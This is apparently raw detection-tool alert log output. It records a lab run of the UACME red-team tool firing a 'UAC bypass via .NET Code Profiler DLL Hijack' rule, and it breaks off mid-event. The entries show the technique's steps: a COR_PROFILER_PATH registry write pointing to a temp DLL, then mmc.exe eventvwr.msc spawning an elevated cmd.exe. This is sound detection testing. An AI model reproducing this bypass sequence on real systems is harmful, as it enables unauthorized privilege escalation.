WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 64214 + Pid: 13812 + Tid: 9776 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:22:20.7255025 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3e5534000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff80800a9680c0, name➜ cmd.exe, pid➜ 14700, ppid➜ 13812, real_ppid➜ 13812, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:22:20.7254563 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 13812 + Ppid: 2784 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:22:26+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 64703 + Pid: 2896 + Tid: 4600 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:22:25.8825384 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 2896 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 65155 + Pid: 2840 + Tid: 6864 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:22:26.5442749 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 103c0000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080041f3080, name➜ cmd.exe, pid➜ 1976, ppid➜ 2840, real_ppid➜ 2840, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:22:26.544217 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 2840 + Ppid: 2896 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:22:35+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 65942 + Pid: 4048 + Tid: 18044 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:22:34.0831538 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 4048 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 66393 + Pid: 5560 + Tid: 5332 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:22:34.7281125 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 446da3000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff80800953a080, name➜ cmd.exe, pid➜ 17004, ppid➜ 5560, real_ppid➜ 5560, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:22:34.7280643 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5560 + Ppid: 4048 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:26:27+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 68077 + Pid: 6808 + Tid: 328 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry 